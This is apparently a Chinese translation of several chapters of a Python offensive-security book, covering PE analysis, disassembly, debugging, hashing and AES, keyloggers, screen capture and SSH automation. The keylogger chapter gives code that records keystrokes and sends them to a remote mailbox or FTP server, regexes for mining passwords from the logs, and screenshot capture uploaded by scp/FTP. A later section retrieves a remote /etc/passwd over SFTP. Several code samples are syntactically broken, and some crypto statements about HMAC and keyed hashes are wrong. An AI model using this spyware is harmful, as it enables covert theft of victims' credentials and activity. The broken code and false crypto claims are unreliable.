本章涵盖的主题如下:

  • 可移植可执行文件分析

  • 使用 Capstone 进行反汇编

  • 带有 Capstone 的 PE 文件

  • 使用 PyDBG 进行调试

逆向工程

逆向工程分析主要有三种类型:

  • 静态分析:分析二进制文件的内容。这有助于确定可执行部分的结构,并打印出可读部分,以获取有关可执行文件目的的更多细节。

  • 动态分析:这种类型将执行二进制文件,无论是否附加调试器,以发现其目的和可执行文件的工作方式。

  • 混合分析:这是静态和动态分析的混合。在静态分析之间重复,然后进行动态调试,将更好地了解程序。

可移植可执行文件分析

任何 UNIX 或 Windows 二进制可执行文件都将具有描述其结构的头部。这包括其代码的基地址、数据部分和可以从可执行文件中导出的函数列表。当操作系统执行可执行文件时,首先操作系统读取其头部信息,然后加载二进制数据从二进制文件中以填充相应进程的代码和数据部分的地址内容。

可移植可执行文件PE)文件是 Windows 操作系统可以执行或运行的文件类型。我们在 Windows 系统上运行的文件是 Windows PE 文件;这些文件可以具有 EXE、DLL(动态链接库)和 SYS(设备驱动程序)扩展名。此外,它们包含 PE 文件格式。

Windows 上的二进制可执行文件具有以下结构:

  • DOS 头部(64 字节)

  • PE 头部

  • 部分(代码和数据)

我们现在将详细研究每一种。

DOS 头部

DOS 头部以魔术数字4D 5A 50 00开头(前两个字节是字母MZ),最后四个字节(e_lfanew)指示二进制可执行文件中 PE 头部的位置。所有其他字段都不相关。

PE 头部

PE 头部包含更多有趣的信息。以下是 PE 头部的结构:

PE 头部

PE 头部由三部分组成:

  • 4 字节的魔术代码

  • 20 字节的文件头,其数据类型为IMAGE_FILE_HEADER

  • 224 字节的可选头,其数据类型为IMAGE_OPTIONAL_HEADER32

此外,可选头部有两部分。前 96 字节包含诸如主要操作系统和入口点之类的信息。第二部分由 16 个条目组成,每个条目有 8 个字节,形成 128 字节的数据目录。

注意

您可以在以下链接中了解更多关于 PE 文件的信息:www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx 以及文件头中使用的结构:msdn2.microsoft.com/en-gb/library/ms680198.aspx

我们可以使用pefile模块(一个用于处理 PE 文件的多平台全功能 Python 模块)在 Python 中获取这些文件头的所有细节。

加载 PE 文件

加载文件就像在模块中创建 PE 类的实例一样简单,参数是可执行文件的路径。

首先,导入pefile模块:

Import pefile

使用可执行文件初始化实例:

pe = pefile.PE('path/to/file')

检查头部

在交互式终端中,我们可以对 PE 文件头进行基本检查。

像往常一样,导入pefile并加载可执行文件:

>>>import pefile 
>>>pe = pefile.PE('md5sum.exe') 
>>> dir(pe)

这将打印对象。为了更好地理解,我们可以使用pprint模块以可读格式打印此对象:

>>> pprint.pprint(dir(pe))

这将以可读格式列出所有内容,如下所示:

检查标头

我们还可以打印特定标头的内容,如下所示:

>>> pprint.pprint(dir(pe.OPTIONAL_HEADER))

您可以使用 hex()获取每个标头的十六进制值:

>>>hex( pe.OPTIONAL_HEADER.ImageBase)

检查节

要检查可执行文件中的节,我们必须迭代pe.sections

>>>for section in pe.sections:
 print (section.Name,
      hex(section.VirtualAddress),
      hex(section.Misc_VirtualSize),
      section.SizeOfRawData)

PE 打包器

打包器是用于压缩 PE 文件的工具。这将减小文件的大小,并为被静态反向工程的文件添加另一层混淆。尽管打包器是为了减小可执行文件的总体文件大小而创建的,但后来,许多恶意软件作者利用了混淆的好处。打包器将压缩的数据包装在一个工作的 PE 文件结构中,并将 PE 文件数据解压缩到内存中,并在执行时运行它。

我们可以使用签名数据库来检测可执行文件是否被打包。可以通过搜索互联网找到签名数据库文件。

为此,我们需要另一个模块peutils,它与pefile模块一起提供。

您可以从本地文件或 URL 加载签名数据库:

Import peutils
signatures = peutils.SignatureDatabase('/path/to/signature.txt')

您还可以使用以下内容:

signatures = peutils.SignatureDatabase('handlers.sans.org/jclausing/userdb.txt')

加载签名数据库后,我们可以使用这个数据库运行 PE 实例,以识别使用的打包器的签名:

matches = signatures.match(pe, ep_only = True)
print matches

这将输出可能使用的打包器。

另外,如果我们检查打包的可执行文件中的节名称,它们将有轻微的差异。例如,使用 UPX 打包的可执行文件,其节名称将是UPX0UPX1等。

列出所有导入和导出的符号

导入项可以列出如下:

for entry in pe.DIRECTORY_ENTRY_IMPORT:
  print entry.dll
  for imp in entry.imports:
    print '\t', hex(imp.address), imp.name

同样,我们无法列出导出项:

for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
  print hex(pe.OPTIONAL_HEADER.ImageBase + exp.address), exp.name, exp.ordinal

使用 Capstone 进行反汇编

反汇编是组装的相反过程。反汇编器试图从二进制机器代码创建汇编代码。为此,我们使用一个名为Capstone的 Python 模块。Capstone 是一个免费的、多平台和多架构的反汇编引擎。

安装后,我们可以在我们的 Python 脚本中使用这个模块。

首先,我们需要运行一个简单的测试脚本:

from capstone import *
cs = Cs(CS_ARCH_X86, CS_MODE_64)
for i in cs.disasm('\x85\xC0', 0x1000)
   print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

脚本的输出将如下所示:

0x1000:     test  eax, eax

第一行导入模块,然后使用Cs初始化capstone Python 类,它需要两个参数:硬件架构和硬件模式。在这里,我们指示对 x86 架构的 64 位代码进行反汇编。

下一行迭代代码列表,并将代码传递给capstone实例cs中的disasm()disasm()的第二个参数是第一个安装的地址。disasm()的输出是Cslnsn类型的安装列表。

最后,我们打印出一些这些输出。Cslnsn公开了有关已反汇编安装的所有内部信息。

其中一些如下:

  • Id:指令的指令 ID

  • 地址:指令的地址

  • 助记符:指令的助记符

  • op_str:指令的操作数

  • size:指令的大小

  • 字节:指令的字节序列

像这样,我们可以使用 Capstone 反汇编二进制文件。

使用 Capstone 的 PEfile

接下来,我们使用capstone反汇编器对我们使用pefile提取的代码进行反汇编,以获取组装代码。

像往常一样,我们首先导入所需的模块。在这里,这些是capstonepefile

from capstone import *
import pefile
pe = pefile.PE('md5sum.exe')
entryPoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
data = pe.get_memory_mapped_image()[entryPoint:]
cs = Cs(CS_ARCH_X86, CS_MODE_32)
for i in cs.disasm(data, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

IMAGE_OPTIONAL_HEADER中的AddressofEntryPoint值是相对于图像基地址的入口点函数的指针。对于可执行文件,这是应用程序代码开始的确切位置。因此,我们使用pefile获取代码的起始位置,如pe.OPTIONAL_HEADER.AddressOfEntryPoint,并将其传递给反汇编器。

调试

调试是修复程序中的错误的过程。调试器是可以运行并监视另一个程序执行的程序。因此,调试器可以控制目标程序的执行,并监视或更改目标程序的内存和变量。

断点

断点有助于在调试器中选择的位置停止目标程序的执行。在那时,执行停止并控制传递给调试器。

断点有两种不同的形式:

  • 硬件断点:硬件断点需要 CPU 的硬件支持。它们使用特殊的调试寄存器。这些寄存器包含断点地址、控制信息和断点类型。

  • 软件断点:软件断点用一个陷阱调试器的指令替换原始指令。这只能在执行时中断。它们之间的主要区别是硬件断点可以设置在内存上。但是,软件断点不能设置在内存上。

使用 PyDBG

我们可以使用 PyDBG 模块在运行时调试可执行文件。我们可以通过一个基本的 PyDBG 脚本来了解它的工作原理。

首先,我们导入模块:

from pydbg import *
import sys

然后我们定义一个处理断点的函数。它也将pydbg实例作为参数。在这个函数内部,它打印出进程的执行上下文,并指示pydbg继续执行:

define breakpoint_handler(dbg):
   print dbg.dump_context()
   return DBG_CONTINUE

然后我们初始化pydbg实例,并设置handler_breakpoint函数来处理断点异常:

dbg = pydbg()
dbg.set_callback(EXEPTION_BREAKPOINT, breakpoint_handler)

然后附加需要使用pydbg调试的进程的进程 ID:

dbg.attach(int(sys.argv[1]))

接下来我们将设置触发断点的地址。在这里,我们使用bp_set()函数,它接受三个参数。第一个是设置断点的地址,第二个是可选的描述,第三个参数指示pydbg是否恢复此断点:

dbg.bp_set(int(sys.argv[1], 16), "", 1)

最后,在事件循环中启动pydbg

dbg.debug_event_loop()

在这个例子中,我们将断点作为参数传递给这个脚本。所以,我们可以按照以下方式运行这个脚本:

$ python debug.py 1234 0x00001fa6

注意

pydbg包含许多其他有用的功能,可以在文档中找到:pedramamini.com/PaiMei/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html

总结

我们已经讨论了可以用 Python 编程逆向工程和调试二进制文件的基本工具。现在你将能够编写自定义脚本来调试和逆向工程可执行文件,这将有助于恶意软件分析。我们将在下一章讨论一些 Python 中的加密、哈希和转换函数。

第七章:加密,哈希和转换函数

密码学可以在某些类型的信息安全漏洞中发挥重要作用,因为它有助于实现单向安全交付认证数据,认证令牌的安全交付,访问控制等。单向密码函数用于网站中以一种无法检索的方式存储密码。在本章中,我们将讨论 Python 中的各种密码函数。

本章涵盖的主题如下:

  • 哈希函数

  • 秘密密钥(加密算法)

  • 公钥算法

密码算法

以下三种类型的密码算法最常用:

  • 哈希函数:哈希函数也被称为单向加密,没有密钥。哈希函数为明文输入输出固定长度的哈希值,不可能恢复明文的长度或内容。

  • 密钥哈希函数:密钥哈希用于构建消息认证码MACs);MAC 旨在防止暴力攻击。因此,它们被故意设计成缓慢的。

  • 对称加密/秘密密钥(加密算法):加密算法使用可变密钥为一些文本输入输出密文,我们可以使用相同的密钥解密密文。

  • 公钥算法:对于公钥算法,我们有两个不同的密钥:一个用于加密,另一个用于解密。因此,我们可以共享可以加密消息的公钥,但只能使用未共享的解密密钥解密。

哈希函数

哈希函数主要用于加密学中检查消息的完整性,数字签名,操作检测,指纹和密码存储。如果根据输出无法猜测输入字符串,则函数是一个好的哈希函数。由于哈希函数将随机数量的数据转换为固定长度的字符串,可能会有一些输入哈希为相同的字符串。哈希函数被创建为使这些碰撞极其难以找到。最常用的哈希函数如下:

哈希函数

MD2MD4MD5具有128 位长度,不安全。SHA-1具有160 位长度,但也不安全。

哈希消息认证码(HMAC)

哈希消息认证码HMAC)在需要检查完整性真实性时使用。它为服务器和客户端提供公钥和私钥。私钥只为服务器和客户端所知,但公钥为所有人所知。

在 HMAC 的情况下,密钥和消息在单独的步骤中被哈希。客户端通过将数据与私钥合并并哈希来为每个请求创建一个哈希,并将其作为请求的一部分发送。在服务器接收到请求后,它生成另一个哈希并将其与接收到的哈希进行比较。如果它们相等,那么我们可以认为客户端是真实的。

消息摘要算法(MD5)

MD5 用于通过 128 位消息摘要来保持数据完整性。根据标准,由于两条消息可能具有相同的消息摘要作为输出,或者可能创建一个错误的消息,因此这是计算上不可行的。

安全哈希算法(SHA)

SHA系列在安全应用和协议中被广泛使用,包括 TLS/SSL,PGP 和 SSH。SHA-1 用于版本控制系统,如 Git 和 Mercurial,用于标识修订版本和检测数据损坏。有关 SHA-0 和 SHA-1 报告了一些弱点。因此,建议使用 SHA-2 系列的哈希函数。我们应该在需要抗碰撞的应用程序上使用 SHA-2 系列。

Python 中的 HMAC

使用 Python 简单地创建文件的哈希。要使用默认的 MD5 算法创建 HMAC 哈希,我们可以使用 Python 中的hmac模块:

import hmac 

hmac_md5 = hmac.new('secret-key') 

f = open('sample-file.txt', 'rb') 
try: 
    while True: 
        block = f.read(1024) 
        if not block: 
            break 
        hmac_md5.update(block) 
finally: 
    f.close() 

digest = hmac_md5.hexdigest() 
print digest 

第一行导入了hmac模块。hmac模块从 Python 2.2 开始默认包含在 Python 安装中。然后,使用共享的密钥作为参数启动hmac实例。

然后以 1024 字节块读取文件并创建digest,最后打印digest

尽管默认的hmac模块 Python 的加密算法是 MD5,被认为是不安全的,我们应该使用 SHA 算法。要使用 SHA256,我们必须使用hashlib模块。从 Python 2.5 版本开始,hashlib随默认 Python 安装。因此,我们可以更新前面的脚本以使用 SHA256:

import hmac 
import hashlib 

digest_maker = hmac.new('secret-key', '', hashlib.sha256) 

f = open('sample-file.txt', 'rb') 
try: 
    while True: 
        block = f.read(1024) 
        if not block: 
            break 
        digest_maker.update(block) 
finally: 
    f.close() 

digest = digest_maker.hexdigest() 
print digest 

同样,我们可以在hmac中包含其他hashlib方法。

hashlib 算法

要使用特定的哈希算法,我们可以使用hashlib模块中的适当构造函数创建哈希对象,该对象可用于与哈希进行交互。hashlib模块由 OpenSSL 支持,因此hashlib中的所有算法,如md5sha1sha224sha256sha384sha512都可用。

hashlib 算法

以下是重要的hashlib方法:

  • hashlib.md5(): 创建 MD5 哈希对象

  • hashlib.sha1(): 创建 SHA1 哈希对象

  • hashlib.new(hash_name): 通过名称传递算法以创建哈希对象

例如,尝试以下代码:

try: 
    hash_name = sys.argv[1] 
except IndexError: 
    print 'Specify the hash name as the first argument.' 
else: 
    try: 
        data = sys.argv[2] 
    except IndexError:     
        print 'Specify the data to hash as the second argument.' 
h = hashlib.new(hash_name) 

这将创建一个哈希对象,该对象使用我们作为第一个参数传递的哈希算法名称。方法update()将重复调用哈希计算器并相应地更新摘要。

密码哈希算法

MD5、SHA1 和所有 SHA 变种都旨在非常快速。在密码的情况下,快速算法容易受到暴力破解攻击的影响,因为 MD5 和 SHA1 的哈希可以以每秒数百万或数十亿的速度产生。有一些专门设计用于密码的算法。我们可以使用 Argon2,并在可用时将其视为首选。另外两个主要选项是pbkdf2bcrypt。这些函数计算成本很高,因此可以保护您免受暴力破解和字典攻击。

我们可以使用argon2模块来使用 Argon2:

import argon2 
hashed = argon2.argon2_hash("password", "some_salt", ) 

此外,我们可以使用模块bcryptpbkdf2来使用这些算法。

使用bcrypt的示例如下:

import bcrypt 
hashed = bcrypt.hashpw(password, bcrypt.gensalt()) 

这将使用随机生成的盐对密码进行哈希处理。

使用pbkdf2的示例如下:

import pbkdf2 
salted_password = pbkdf2.pbkdf2_hex(password, some_random_salt, 
                                  iterations=1000, keylen=24)

这将使用1000次迭代创建一个 24 字节长的哈希。我们可以通过增加迭代次数来减慢哈希函数的速度。

对称加密算法

对称加密算法,或称为秘密密钥算法,使用私有变量密钥将其输入数据或明文转换为密文。我们可以使用相同的密钥解密密文,该密钥用于加密消息。密码是一种简单的加密和解密消息的方法。

加密算法主要分为两类:

  • 对称加密中使用的算法:对称加密是一种同时用于加密和解密的单一密钥。一些对称加密算法的示例包括 AES、Blowfish、DES、IDEA、serpent 等。

  • 非对称加密中使用的算法:非对称加密使用两个密钥:私钥和公钥——一个用于加密,另一个用于解密。非对称算法的示例包括 Diffe-Hellman(DH)和RSA

提示

您可以在这里阅读更多关于对称加密的内容:www.cs.cornell.edu/courses/cs5430/2010sp/TL03.symmetric.html

块和流密码

分组密码加密已知为块的固定大小数据。通常,每个块的大小相对较大,为 64 位、128 位或 256 位。因此,分组密码将每个块分别加密到与密文相同大小。在输入位较短于块大小的情况下,会调用填充方案。每个块都使用相同的密钥。分组密码的例子包括 AES、DES、Blowfish 和 IDEA。

流密码一次加密一位或一字节的小块明文。它使用无限的伪随机位流作为密钥,这个伪随机生成器应该是不可预测的。此外,为了以安全的方式实现流密码,密钥不应该被重复使用。

PyCrypto

PyCrypto,全称Python 密码学工具包,是一个包含哈希函数和加密算法的不同加密模块的集合。PyCrypto 模块提供了在 Python 程序中实现强加密所需的所有函数。

要使用加密算法,我们可以从Crypto.Cipher中导入它:

from Crypto.Cipher import AES 
encrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456') 
message = "This is message " 
ciphertext = encrypt_AES.encrypt(message) 
print ciphertext 

这将创建密文。由于 PyCrypto 块级加密 API 非常低级,它只接受 16、24 或 32 字节长的密钥用于 AES-128、AES-196 和 AES-256,分别。密钥越长,加密越强。我们可以按以下方式解密它:

decrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456') 
message_decrypted =  decrypt_AES.decrypt(ciphertext) 
print message_decrypted 

现在我们将得到我们的明文。

文件的 AES 加密

高级加密标准AES)是一种对称分组密码,由三种分组密码组成:AES-128、AES-192 和 AES-256。每个加密/解密数据的块大小为 128 位,密钥分别为 128、192 和 256 位。

以下脚本加密所提供的文件。此外,它处理初始化向量IV)的随机生成。

首先加载所有所需的模块:

from Crypto.Cipher import AES 
import os, random, struct 

现在,定义加密文件的函数:

def encrypt_file(key, filename, chunk_size=64*1024): 

    output_filename = filename + '.encrypted' 

在函数内部创建初始化向量:

iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
# Initialization vector  

然后我们可以在 PyCrypto 模块中初始化 AES 加密方法:

    encryptor = AES.new(key, AES.MODE_CBC, iv) 
    filesize = os.path.getsize(filename)  

读取文件并写入加密输出文件:

     with open(filename, 'rb') as inputfile: 
        with open(output_filename, 'wb') as outputfile: 
            outputfile.write(struct.pack('<Q', filesize)) 
            outputfile.write(iv) 

            while True: 
                chunk = inputfile.read(chunk_size) 
                if len(chunk) == 0: 
                    break 
                elif len(chunk) % 16 != 0: 
                    chunk += ' ' * (16 - len(chunk) % 16) 

                outputfile.write(encryptor.encrypt(chunk)) 

最后,调用函数加密文件:

encrypt_file('abcdefghji123456', 'sample-file.txt');

现在我们可以检查如何解密这个加密文件。要编写一个可以解密的函数,我们必须导入相同的模块。然后,定义函数如下:

def decrypt_file(key, filename, chunk_size=24*1024): 

    output_filename = os.path.splitext(filename)[0] 

读取加密文件并输出解密文件:

    with open(filename, 'rb') as infile: 
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0] 
        iv = infile.read(16)

初始化decryptor方法以解密文件:

        decryptor = AES.new(key, AES.MODE_CBC, iv) 

        with open(output_filename, 'wb') as outfile: 
            while True: 
                chunk = infile.read(chunk_size) 
                if len(chunk) == 0: 
                    break 
                outfile.write(decryptor.decrypt(chunk)) 

            outfile.truncate(origsize) 

最后,输出原始解密文件:

decrypt_file('abcdefghji123456', 'sample-file.txt.encrypted'); 

摘要

我们已经讨论了 Python 中使用的哈希和加密模块。现在您将能够在您的脚本中使用这些模块。我们将在下一章中讨论一些键盘记录技术。

第八章:键盘记录和屏幕截取

使用 Python,我们可以以编程方式执行诸如捕获所有按键、捕获屏幕、记录正在运行的程序、关闭它们、监视剪贴板内容等任务。黑客可能使用这些技术恶意获取受害者的私人信息,而雇主可能使用它们来监视员工的活动。

本章涵盖的主题如下:

  • 使用 Python 进行键盘记录

  • 屏幕截取

键盘记录器

键盘记录器是一种实时记录按键的软件或硬件设备。它们用于解决计算机和网络的技术问题。它们也可以用于在没有直接知识的情况下监视人们的网络和计算机使用情况。因此,这也可以在公共计算机上被滥用来窃取密码或信用卡信息。

硬件键盘记录器

基于硬件的键盘记录器可以在没有安装任何软件的情况下监视受害者的活动。它们可以很容易地被检测到,因为它是一个物理设备,可能连接在计算机键盘和 USB/PS2 端口之间的某个地方。还有更先进的硬件键盘记录器,它们在外部不可见,也不依赖于任何软件。因此,它们无法被任何软件检测到。但是,硬件键盘记录器需要对受害者进行物理访问。

对于无线键盘,可以拦截从键盘发送到其接收器的信号,使用无线嗅探器。

软件键盘记录器

使用软件键盘记录器,我们可以从远程系统提供对本地记录的按键的访问。这可以通过将记录的按键上传到数据库或 FTP 服务器来实现。我们还可以定期将其作为电子邮件附件发送。

使用 pyhook 的键盘记录器

要创建一个简单的键盘记录器脚本来记录计算机上的按键活动并将其存储在文本文件中,我们可以使用pyhook模块。这将为 Windows 系统提供全局鼠标和键盘事件的回调。

导入所需的模块。在这里,我们从 ActivePython Package 导入pyhook和 pythoncom 模块。pythoncom模块在此脚本中用于为当前线程传递所有消息:

import pyHook, pythoncom, sys, logging 

定义保存日志数据的文件。 (Windows 文件名使用反斜杠作为分隔符。但是,在 Python 中,反斜杠是一个转义字符,所以我们必须在路径中放置双斜杠\\。否则,我们可以使用原始字符串来定义文件名。):

file_log='C:\\log.txt' 

现在我们可以定义处理每个键盘事件的函数。在这里,我们可以利用日志模块来记录每个字符:

def OnKeyboardEvent(event): 
    logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

在这里,我们实例化pyhook管理器:

hooks_manager = pyHook.HookManager() 

在每次按键时调用键盘事件函数:

hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

这将在 Windows 系统中工作。要在 Linux 中使用,我们必顈依赖另一个模块:pyxhook。您可以从github.com/JeffHoogland/pyxhook获取此模块。

使用pyxhook,您可以重写前面的脚本以在 Linux 中使用:

import pyxhook 
file_log=/home/rejah/Desktop/file.log' 
def OnKeyboardEvent(event): 
   k = event.Key 

    if k == "space": k = " " 

   with open(file_log, 'a+') as keylogging: 
      keylogging.write('%s\n' % k)   

#instantiate HookManager class 
hooks_manager = pyxhook.HookManager() 

#listen to all keystrokes 
hooks_manager.KeyDown=OnKeyPress 

#hook the keyboard 
hooks_manager.HookKeyboard() 

#start the session 
hooks_manager.start() 

我们可以改进脚本以将按键记录到远程服务器或处理特定的按键。

要将记录的按键发送到电子邮件,我们可以使用smtplib模块。我们需要导入所需的模块:

import time 
import datetime 
import smtplib 
from email.mime.text import MIMEText

然后我们可以定义通过连接到我们的 SMTP 服务器发送电子邮件的方法:

def sendEmail(data,to): 
    try: 
        # Provide from email address 
        from = 'you@yourdomain.com' 
        # Your SMTP username 
        username = 'keylogger' 
        # Your Email password 
        password = 'asd123' 
        # Use MIMEText to create an email 
        mail = MIMEText(data, 'html') 
        mail['Subject']  = "Keylogger Data --" +str(datetime.datetime.now()) 
        mail['From']=from 
        mail['To'] = to 

        # Send the message via your SMTP server 
        server = smtplib.SMTP('smtp.yourdomain.com:587') 
        # Enable TLS if required 
        server.starttls() 
        server.login(username,password) 
        server.sendmail(from, [to], mail.as_string()) 
        server.quit() 
    except: 
        pass

现在我们可以将数据和地址传递给这个方法。这将把按键发送到指定的地址。现在我们可以重写OnKeyboardEvent方法来发送按键:

def OnKeyboardEvent(event): 
    # Write character only if its not a null or backspace  
    if event.Ascii !=0 or 8: 
        # Open log file and read the current keystrokes in log file 
        f=open('c:\log.txt','r+') 
        buffer=f.read() 
        f.close()  

        if len(buffer)%100==0 and len(buffer)%100!=0: 
            #send last 1000 characters to the email 
            send_email(buffer[-1000:].replace("\n","<br>"),email) 

        # Open the log.txt file to update new keystrokes 
        f=open('c:\log.txt','w') 
        keylogs=chr(event.Ascii) 

        # if the key pressed is ENTER, update with /n  
        if event.Ascii==13: 
            keylogs='\n' 

        #if the key pressed is space, update with space  
        if event.Ascii==32: 
            keylogs='  ' 

        # Add new keystrokes to buffer 
        buffer+=keylogs 

        # Write the buffer to log file 
        f.write(buffer) 
        # close the log file 
        f.close() 

现在,当日志文件中有 1000 个字符时,这将把按键发送到指定的电子邮件 ID。同样,我们可以添加一个方法将文件上传到 FTP 服务器。在这里,我们必须导入ftplib模块和os模块:

import ftplib 
import os 

然后,定义将文件上传到 FTP 服务器的方法

def uploadToFTP(data,to): 
    # Write data to a file 
    fileName="log-"+str(datetime.datetime.now()+".txt" 
    logFile=open(fileName,"a") 
    logFile.write(data) 
    logFile.close() 

    try: 
        # Provide FTP server address 
        server = 'yourdomain.com' 
        # Your FTP username 
        username = 'keylogger' 
        # Your FTP password 
        password = 'asd123' 
        # SSL state, set 1 if SSL enabled in server 
        SSL = 0 
        # FTP Directory to upload the file 
        directory = "/"  
        # Create normal FTP connection If SSL disabled 
        if SSL==0: 
            connection=ftplib.FTP(server,username,password) 
        # Create SSL enabled FTP connection 
        elif SSL==1: 
            connection=ftplib.FTP_TLS(server,username,password) 

        # Change directory in FTP connection 
        connection.cwd(directory) 
        # Open the log file 

        logFile=open(fileName,'rb') 
        # Upload the file to FTP server 
        connection.storbinary('STOR' +' '+fileName,logFile) 
        # Close the FTP connection 
        connection.quit() 
        # Close the log file 
        logFile.close() 
        # Delete the temporary log file 
        os.remove(fileName) 
    except: 
        pass

现在我们可以在OnKeyboardEvent函数中使用此方法将按键上传到 FTP 服务器。

键盘记录器的输出将是一个巨大的文件,其中包含隐藏的数据的数兆字节文本。我们可以使用正则表达式扫描此文件以获取所需的数据。例如,两个正则表达式可以匹配一堆文本中的用户名和密码。

要识别电子邮件 ID,可以使用以下正则表达式:

 ^[\w!#$%&'*+\-/=?\^_`{|}~]+(\.[\w!#$%&'*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+[a-zA-Z]{2,4})|(([0-9]{1,3}\.){3}[0-9]{1,3}))$ 

要识别超过六个字母的类似密码的模式:

(?=^.{6,}$)(?=.*\d)(?=.*[a-zA-Z])

使用正则表达式,我们可以搜索具有模式并且可以构建为正则表达式表达式的任何数据。此类数据的一些示例包括社会安全号码、信用卡号码、银行账户、电话号码、姓名、密码等。

屏幕截取

屏幕抓取程序捕获受害者的桌面并将图像发送到远程服务器。有许多 Python 模块可用于以编程方式抓取屏幕的光栅图像。我们可以利用Python 图像库PIL)用于 Windows 和 OSX。 PIL 包含ImageGrab模块,可用于抓取屏幕截图。

导入模块,这里我们还导入时间模块以使执行休眠三秒,允许用户在抓取之前切换屏幕显示:

from PIL import ImageGrab 
import time

休眠三秒并拍摄屏幕截图:

time.sleep(3) 
ImageGrab.grab().save("screen_capture.jpg", "JPEG") 

我们还可以通过提供以下区域来在屏幕上拍摄特定区域的屏幕截图:

ImageGrab.grab(bbox=(10,10,510,510)).save("screen_capture.jpg", "JPEG") where, bbox=(X1,Y1,X2,Y2)

以下截图说明了示例:

屏幕截图

要在 Linux 系统上抓取屏幕截图,我们必须使用具有跨平台兼容性的wxPython库。我们可以从wxpython.org/download.php下载 wxPython

导入 wx 模块:

import wx 

首先,创建应用程序实例:

wx.App()

wx.ScreenDC方法提供对整个桌面的访问,其中还包括任何扩展的桌面监视器屏幕:

screen = wx.ScreenDC() 
size = screen.GetSize() 

创建具有屏幕大小的新空位图作为目的地:

bmp = wx.EmptyBitmap(size[0], size[1]) 
mem = wx.MemoryDC(bmp) 

将屏幕位图复制到返回的捕获位图中:

mem.Blit(0, 0, size[0], size[1], screen, 0, 0) 
del mem 

将位图保存为图像:

bmp.SaveFile('screenshot.png', wx.BITMAP_TYPE_PNG) 

此外,我们可以将此屏幕截图发送到远程位置,只需对脚本进行最小更改。例如,我们可以使用scp协议将其发送到另一台服务器:

import os 
os.system("scp screenshot.png user@remote-server.com:/home/user/")

或者,我们可以使用ftplib使用 FTP 协议上传文件:

导入模块ftplib

import ftplib 

使用远程服务器凭据开始新会话:

session = ftplib.FTP('remote-server.com','user','password') 

使用以下代码打开文件:

file = open('screenshot.png','rb')

发送文件:

session.storbinary('STOR screenshot.png', file)

关闭文件和 FTP 会话:

file.close()                                     
session.quit() 

总结

我们已经讨论了您可以使用 Python 进行按键记录和屏幕截图的基本模块。现在,您可以创建这些脚本的定制版本来记录按键并抓取屏幕截图。我们将在下一章中讨论一些攻击自动化技术。

第九章:攻击自动化

自动化工具使我们能够探索和利用比任何手动方法可能的漏洞更多。在我看来,没有什么能比得上由经验丰富的安全专家执行的手动安全测试结合一组自动化部分。复杂的脚本可以将攻击分散到多个主机,并避免被列入黑名单。

本章涵盖的主题如下:

  • 使用 paramiko 进行 SFTP 自动化

  • Nmap 自动化

  • W3af REST API

  • 使用 MSGRPC 进行 Metasploit 脚本化

  • OWASP zap API

  • 破解验证码

  • 使用 Python 访问 BeEF API

  • 使用 Python 访问 Nessus 6 API

Paramiko

通过 SSH 在远程系统中运行命令是自动化的最常见组件之一。Python 模块 paramiko 通过提供对 SSH 的编程接口,使这变得容易。Paramiko 通过导入库为您提供了在 Python 中使用 SSH 功能的简便方法。这使我们能够执行通常需要手动执行的 SSH 任务。

使用 paramiko 建立 SSH 连接

paramiko 的主要类是paramiko.SSHClient,它提供了一个基本的接口来初始化服务器连接:

使用 paramiko 建立 SSH 连接

这将创建一个新的 SSHClient 实例,然后我们调用connect()方法,该方法连接到 SSH 服务器。

当我们使用任何 SSH 客户端连接到远程机器时,该远程主机的密钥将自动存储在我们的主目录中的.ssh/known_hosts文件中。因此,第一次连接到远程系统时,我们将收到以下消息:

使用 paramiko 建立 SSH 连接

当您在此消息中输入“是”时,它将在known_hosts文件中添加一个条目。通过接受此消息,为该主机添加了一定程度的信任。相同的规则适用于 paramiko。默认情况下,SSHClient 实例将拒绝连接没有在我们的known_hosts文件中保存密钥的主机。这将在创建自动化脚本时造成问题。我们可以将主机密钥策略设置为使用 paramiko 自动添加丢失的主机密钥,如下所示:

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

现在,连接到ssh并自动添加主机密钥的脚本将如下所示:

使用 paramiko 建立 SSH 连接

使用 paramiko 运行命令

我们现在使用 paramiko 连接到远程主机。然后,我们可以使用此连接在远程主机上运行命令:

stdin, stdout, stderr = sshObj.exec_command('uptime') 
for line in stdout.readlines():

        print line.strip()

ssh.close()

响应数据将是元组(stdinstdoutstderr),我们可以读取输出并写入输入。例如,如果我们运行一个需要输入的命令,我们可以使用stdin

stdin, stdout, stderr = ssh.exec_command("sudo ls") 
stdin.write('password\n') 
stdin.flush() 
for line in stdout.readlines(): 
        print line.strip()

有了这个,我们可以创建一个可以自动化许多任务的交互式 shell。

使用 paramiko 进行 SFTP

我们还可以使用 paramiko 处理远程主机上的文件操作。

提示

SFTP代表SSH 文件传输协议,或安全文件传输协议。这是一个单独的协议,几乎与通过 SSH 进行安全连接的 FTP 相同。

为此,我们首先像以前一样实例化一个新的paramiko.SSHClient实例:

使用 paramiko 进行 SFTP

然后,在连接到远程主机后,我们使用open_sftp(),它将返回一个paramiko.SFTPClient客户端对象。paramiko.SFTPClient将支持所有的 SFTP 操作。在这里,我们列出了远程服务器根目录中的文件。

我们可以使用get()方法下载文件,使用put()方法上传文件。

要下载远程密码文件:

remotepath = '/etc/passwd' 
localpath = '/home/remote-passwd' 
sftp.get(remotepath, localpath)

要将文件上传到远程主机:

remotepath = '/home/some-image.jpg' 
localpath = '/home/some-image.jpg' 
sftp.put(localpath, remotepath) 

python-nmap

